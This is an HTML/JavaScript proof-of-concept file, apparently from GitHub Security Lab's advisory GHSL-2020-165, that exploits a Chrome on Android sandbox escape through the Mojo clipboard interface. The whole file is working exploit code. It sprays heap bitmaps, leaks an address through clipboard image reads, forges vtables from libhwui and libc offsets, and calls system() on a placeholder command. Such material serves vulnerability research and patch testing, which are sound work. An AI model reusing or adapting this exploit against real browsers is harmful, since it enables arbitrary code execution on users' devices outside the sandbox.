SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html (174 lines of code) (raw):
<html>
<head>
<script src="mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
<script>
//Change these to the actual value before running
const libhwuiOffset = 0x75d8dd4000n;
const libcOffset = 0x75d962c000n;
//Points to Execute in libwebp, offset from libhwui
const executeOffset = 0x7db9a0n;
const bitWriterOffset = 0x803e30n;
//Offset to system in libc
const systemOffset = 0x925b0n;
//The offset of GetRoutingID in rfh's vtable
const getRoutingIDOffset = 0x48n;
const ifrmUrl = 'payment_request_clip2.html';
const jamUrl = 'payment_request_jam_clip.html';
const reloadUrl = 'payment_request_clip.html';
const command = 'touch /data/data/org.chromium.chrome/pwn';
//Up to 32 bytes maybe written by bit writer.
const commandOffset = 0x28;
clipboards = [];
dataClipboards = [];
images = [];
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
function computeAddress(image1, image2) {
let addrBuffer = new ArrayBuffer(8);
let addrIntView = new Uint8Array(addrBuffer);
for (let i = 8; i < 8 + 5; i++) {
if (i != 11) {
addrIntView[i - 8] = image1[i];
} else {
addrIntView[i - 8] = image2[i];
}
}
let addrBigIntView = new BigUint64Array(addrBuffer);
return addrBigIntView[0];
}
function createIframe(id, src) {
let iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.setAttribute('id', id);
if (src !== undefined) {
iframe.src = src;
}
document.body.appendChild(iframe);
}
function removeIframe(id) {
let frame = document.getElementById(id);
frame.parentNode.removeChild(frame);
}
function runCommand(addr) {
window.location = reloadUrl + '?addr=' + addr.toString();
}
function readClipboard() {
clipboards[0].commitWrite();
sleep(1000);
clipboards[0].readImage(1).then(readImg);
sleep(500);
clipboards[1].commitWrite();
sleep(1000);
clipboards[1].readImage(1).then(readImg);
}
function readImg(image) {
if (image.image === null) {
console.log('Failed to obtain read clipboard');
window.location = reloadUrl;
}
let imageData = new Uint8Array(image.image.pixelData.bytes);
images.push(imageData);
if (images.length == 2) {
let addr = computeAddress(images[0], images[1]);
if (addr < 0xffffffffn) {
console.log('Failed to obtain address: ' + addr.toString(16));
window.location = reloadUrl;
}
console.log('addr: ' + addr.toString(16));
runCommand(addr);
}
}
function readAddress(bitmap1, bitmap2) {
createIframe('ifrm', ifrmUrl);
createIframe('ifrm1', ifrmUrl);
createIframe('jam', jamUrl);
setTimeout(()=> {
removeIframe('ifrm');
clipboards[0].writeImage(bitmap1);
removeIframe('ifrm1');
clipboards[1].writeImage(bitmap2);
dataClipboards[29].ptr.reset();
dataClipboards[30].ptr.reset();
setTimeout(readClipboard, 3000);
}, 3000);
}
function createBitmap(alphaType, width, vtable) {
let data = new ArrayBuffer(width * width * 4);
if (vtable !== undefined) {
let view = new BigUint64Array(data);
view[0] = vtable;
}
let colorSpace = new Array(9);
let imageInfo = new skia.mojom.ImageInfo();
imageInfo.colorType = 4;
imageInfo.alphaType = alphaType;
imageInfo.serializedColorSpace = colorSpace;
imageInfo.width = width;
imageInfo.height = width;
let bigBuffer = new mojoBase.mojom.BigBuffer();
bigBuffer.bytes = new Uint8Array(data);
let bitmap = new skia.mojom.Bitmap();
bitmap.imageInfo = imageInfo;
bitmap.rowBytes = width * 4;
bitmap.pixelData = bigBuffer;
return bitmap;
}
function createClipboards(n, clipboardArr) {
for (let i = 0; i < n; i++) {
let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
Mojo.bindInterface(blink.mojom.ClipboardHost.name,
mojo.makeRequest(clipboard_ptr).handle);
clipboardArr.push(clipboard_ptr);
}
}
function sprayCommand() {
let dataBitmap = createBitmap(1, 16);
let data = dataBitmap.pixelData.bytes;
for (let i = 0; i < command.length; i++) {
data[commandOffset + i] = command.charCodeAt(i);
}
for (let i = 0; i < dataClipboards.length; i++) {
dataClipboards[i].writeImage(dataBitmap);
}
}
function load() {
let addrIdx = window.location.href.search('addr');
if (addrIdx == -1) {
let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset;
createClipboards(2, clipboards);
createClipboards(32, dataClipboards);
sprayCommand();
let bitmap1 = createBitmap(1, 32, vtable);
let bitmap2 = createBitmap(2, 32, vtable);
readAddress(bitmap1, bitmap2);
} else {
createClipboards(1, clipboards);
sleep(2000);
let addr = BigInt(window.location.href.substring(addrIdx + 5));
if (addr == 0) {
window.location = reloadUrl;
}
let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset;
let bitmap = createBitmap(1, 32, vtable);
//fake WebPWorker
let view = new BigUint64Array(bitmap.pixelData.bytes.buffer);
view[2] = libcOffset + systemOffset;
view[3] = addr + BigInt(commandOffset);
createIframe('ifrm', ifrmUrl);
createIframe('jam', jamUrl);
setTimeout(() => {
removeIframe('ifrm');
clipboards[0].writeImage(bitmap);
console.log('done');
}, 3000);
}
}
</script>
<body onload="load()">
<a href="payment_request_clip.html">reload</a>
</body>
</html>